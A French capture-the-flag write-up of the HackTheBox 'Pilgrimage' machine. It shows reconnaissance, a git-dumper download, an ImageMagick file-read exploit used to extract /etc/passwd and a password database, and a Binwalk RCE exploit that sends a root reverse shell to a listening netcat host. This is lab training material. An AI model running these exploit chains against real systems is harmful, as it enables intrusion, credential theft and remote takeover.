Énumération
Scanner la machine :
sudo nmap -sC -sV 10.10.11.219
-sC
: Scanner la cible en utilisant les scripts par défaut-sV
: Déterminer la version du service en cours d’exécution sur le port.
Résultat du scan Nmap :
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-21 09:09 CEST
Nmap scan report for 10.10.11.219
Host is up (0.013s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 20:be:60:d2:95:f6:28:c1:b7:e9:e8:17:06:f1:68:f3 (RSA)
| 256 0e:b6:a6:a8:c9:9b:41:73:74:6e:70:18:0d:5f:e0:af (ECDSA)
|_ 256 d1:4e:29:3c:70:86:69:b4:d7:2c:c8:0b:48:6e:98:04 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://pilgrimage.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.58 seconds
D’après le résultat de Nmap, le port 22 et 80 sont ouverte sur la machine. La requête HTTP GET http://10.10.11.219
nous retourne une réponse 302
qui nous indique que la page que nous demandons (dans notre cas page d’index ou /
) a été déplacée vers l’emplacement http://pilgrimage.htb/
.
Mais nous n’avons pas un système de résolution de nom de domaine qui résout pilgrimage.htb
en IP. Donc devons le renseigner manuellement dans le fichier /etc/hosts
afin de permettre à Nmap de résoudre le nom domaine pilgrimage.htb
en IP 10.10.11.219
:
# Pilgrimage - HackTheBox
10.10.11.219 pilgrimage.htb
Réessayons maintenant le scan Nmap :
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-21 09:11 CEST
Nmap scan report for pilgrimage.htb (10.10.11.219)
Host is up (0.012s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 20:be:60:d2:95:f6:28:c1:b7:e9:e8:17:06:f1:68:f3 (RSA)
| 256 0e:b6:a6:a8:c9:9b:41:73:74:6e:70:18:0d:5f:e0:af (ECDSA)
|_ 256 d1:4e:29:3c:70:86:69:b4:d7:2c:c8:0b:48:6e:98:04 (ED25519)
80/tcp open http nginx 1.18.0
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: nginx/1.18.0
|_http-title: Pilgrimage - Shrink Your Images
| http-git:
| 10.10.11.219:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: Pilgrimage image shrinking service initial commit. # Please ...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.26 seconds
Le serveur web hébergeant un répertoire Git .git
accessible via le protocole HTTP. Nous pouvons utiliser l’outil git-dumper
pour télécharger le répertoire en utilisant le protocole HTTP:
git-dumper http://pilgrimage.htb/.git/ git_dump
Découverte et exploitation des vulnérabilités
Le code source de l’application web nous indique l’utilisation de logiciel ImageMagick
pour rétrécir (ou shrink en Anglais) l’image:
// ...
exec("/var/www/pilgrimage.htb/magick convert /var/www/pilgrimage.htb/tmp/" . $upload->getName() . $mime . " -resize 50% /var/www/pilgrimage.htb/shrunk/" . $newname . $mime);
// ...
La version de ImageMagick
qu’elle utilise:
git_dump/magick --version
Version: ImageMagick 7.1.0-49 beta Q16-HDRI x86_64 c243c9281:20220911 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype jbig jng jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (7.5)
Après quelques recherches sur Internet, la version 7.1.0-49
de ImageMagick
utilisée par l’application Web est vulnérable à l’inclusion du fichier local.
Détail de la vulnérabilité : https://www.metabaseq.com/imagemagick-zero-days/
Exploit :
Téléchargeons le deuxième script et générons un exploit de test permet de lire le contenu du fichier /etc/passwd
:
git clone https://github.com/Sybil-Scan/imagemagick-lfi-poc.git
python3 imagemagick-lfi-poc/generate.py -f "/etc/passwd" -o exploit.png
Accéder à l’adresse http://pilgrimage.htb/ en utilisant un navigateur Web et uploader le ficher exploit.png
en cliquant sur Choose File
. Maintenant si tout fonctionne correctement, nous pouvons télécharger l’image en cliquant sur le lien envoyé en réponse à la requête HTTP POST et décoder l’image pour voir le contenu du fichier /etc/passwd
.
Nous pouvons aussi utiliser Curl
en ligne de commande afin d’automatiser l’upload du ficher exploit.png
sur http://pilgrimage.htb/ :
curl -F "toConvert=@exploit.png" http://pilgrimage.htb/ -v 2>&1 | grep -i location | cut -d " " -f3 | cut -d "&" -f1 | cut -d "=" -f2
Si l’exploit exploit.png
a fonctionné correctement, l’image que nous venons de télécharger devrait contenir le contenu du fichier /etc/passwd
et nous pouvons l’obtenir avec la commande :
identify -verbose result.png | awk '/Raw profile type/{flag=1; next} /signature/{flag=0} flag'
Le contenu du fichier /etc/passwd
est encodé en HEX, nous devons le convertir en ASCII. Pour cela, nous utilisons le script python :
#!/usr/bin/env python3
hex_dump='''
1437
726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d
6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f
6e6f6c6f67696e0a62696e3a783a323a323a62696e3a2f62696e3a2f7573722f7362696e
2f6e6f6c6f67696e0a7379733a783a333a333a7379733a2f6465763a2f7573722f736269
6e2f6e6f6c6f67696e0a73796e633a783a343a36353533343a73796e633a2f62696e3a2f
62696e2f73796e630a67616d65733a783a353a36303a67616d65733a2f7573722f67616d
65733a2f7573722f7362696e2f6e6f6c6f67696e0a6d616e3a783a363a31323a6d616e3a
2f7661722f63616368652f6d616e3a2f7573722f7362696e2f6e6f6c6f67696e0a6c703a
783a373a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7573722f7362696e2f6e6f
6c6f67696e0a6d61696c3a783a383a383a6d61696c3a2f7661722f6d61696c3a2f757372
2f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a393a6e6577733a2f7661722f73
706f6f6c2f6e6577733a2f7573722f7362696e2f6e6f6c6f67696e0a757563703a783a31
303a31303a757563703a2f7661722f73706f6f6c2f757563703a2f7573722f7362696e2f
6e6f6c6f67696e0a70726f78793a783a31333a31333a70726f78793a2f62696e3a2f7573
722f7362696e2f6e6f6c6f67696e0a7777772d646174613a783a33333a33333a7777772d
646174613a2f7661722f7777773a2f7573722f7362696e2f6e6f6c6f67696e0a6261636b
75703a783a33343a33343a6261636b75703a2f7661722f6261636b7570733a2f7573722f
7362696e2f6e6f6c6f67696e0a6c6973743a783a33383a33383a4d61696c696e67204c69
7374204d616e616765723a2f7661722f6c6973743a2f7573722f7362696e2f6e6f6c6f67
696e0a6972633a783a33393a33393a697263643a2f72756e2f697263643a2f7573722f73
62696e2f6e6f6c6f67696e0a676e6174733a783a34313a34313a476e617473204275672d
5265706f7274696e672053797374656d202861646d696e293a2f7661722f6c69622f676e
6174733a2f7573722f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a3635353334
3a36353533343a6e6f626f64793a2f6e6f6e6578697374656e743a2f7573722f7362696e
2f6e6f6c6f67696e0a5f6170743a783a3130303a36353533343a3a2f6e6f6e6578697374
656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d6e6574776f72
6b3a783a3130313a3130323a73797374656d64204e6574776f726b204d616e6167656d65
6e742c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e
0a73797374656d642d7265736f6c76653a783a3130323a3130333a73797374656d642052
65736f6c7665722c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f
6c6f67696e0a6d6573736167656275733a783a3130333a3130393a3a2f6e6f6e65786973
74656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d74696d6573
796e633a783a3130343a3131303a73797374656d642054696d652053796e6368726f6e69
7a6174696f6e2c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c
6f67696e0a656d696c793a783a313030303a313030303a656d696c792c2c2c3a2f686f6d
652f656d696c793a2f62696e2f626173680a73797374656d642d636f726564756d703a78
3a3939393a3939393a73797374656d6420436f72652044756d7065723a2f3a2f7573722f
7362696e2f6e6f6c6f67696e0a737368643a783a3130353a36353533343a3a2f72756e2f
737368643a2f7573722f7362696e2f6e6f6c6f67696e0a5f6c617572656c3a783a393938
3a3939383a3a2f7661722f6c6f672f6c617572656c3a2f62696e2f66616c73650a
'''
print(bytes.fromhex(hex_dump).decode("utf-8"))
D’après l’inspection du ficher /etc/passwd
, nous savons il y a deux utilisateurs qui ont droit de connecter sur système:
root:x:0:0:root:/root:/bin/bash
emily:x:1000:1000:emily,,,:/home/emily:/bin/bash
Analysons le code source de l’application web pour un mot de passe ou accès à l’utilisateur emily
afin d’obtenir le flag et nous pourrions voir l’utilisation de la base de données SQLite:
if(isset($_SESSION['user'])) {
$db = new PDO('sqlite:/var/db/pilgrimage');
$stmt = $db->prepare("INSERT INTO `images` (url,original,username) VALUES (?,?,?)");
$stmt->execute(array($upload_path,$_FILES["toConvert"]["name"],$_SESSION['user']));
}
Essayons maintenant d’extraire le contenu du fichier /var/db/pilgrimage
en utilisant la même méthode utilisée pour extraire le contenu du fichier /etc/passwd
. Convertissez ensuite les données de HEX en ASCII en utilisant le script Python utilisé ci-dessus ou le site Web CyberChef . Et nous pouvons voir le mot de passe de l’utilisateur emily
.
Ensuite, nous pouvons nous connecter à la machine en utilisant SSH en tant qu’utilisateur emily
avec le mot de passe obtenu et obtenir le flag de répertoire personnel d’emily
Privilege escalation
En parcourant la liste des processus, nous avons pu trouver un processus /bin/bash /usr/sbin/malwarescan.sh
qui s’exécute avec le privilège root. Ce script utilise l’outil Binwalk
1 pour empêcher l’upload des fichiers exécutables et des fichiers exécutables du Microsoft:
#!/bin/bash
blacklist=("Executable script" "Microsoft executable")
/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
binout="$(/usr/local/bin/binwalk -e "$filename")"
for banned in "${blacklist[@]}"; do
if [[ "$binout" == *"$banned"* ]]; then
/usr/bin/rm "$filename"
break
fi
done
done
D’après quelque recherches sur la version v2.3.2 de Binwalk, la version est vulnérable à l’exécution de commandes à distance (RCE) et un exploit est présent sur le site exploit-db. Ce script génère une image contenant un payload qui renvoie un reverse shell:
python3 51249.py superImage.png 10.10.14.248 443
51249.py
L’exploit téléchargésuperPhoto.png
Une image quelconque.10.10.14.248
,443
IP et port du Netcat en écoute afin capturer un reverse shell.
Avant d’importer l’exploit binwalk_exploit.png
sur le serveur, lançons Netcat à l’écoute des nouvelles connexions:
nc -nvlp 443
Maintenant nous pouvons l’importer sur le serveur en utilisant l’identifiant d’emily
:
scp binwalk_exploit.png emily@10.10.11.219:
Transférons ensuite l’exploit binwalk_exploit.png
dans le dossier /var/www/pilgrimage.htb/shrunk/
afin que le script malwarescan.sh
puisse l’utiliser et nous renvoie un reverse shell en tant que root
.
Le flag est dans le répertoire /root
.
Références
Envoyer des requêtes HTTP en utilisant
Curl
:Convertisseur HEX vers ASCII :
- CyberChef - A web app for encryption, encoding, compression and data analysis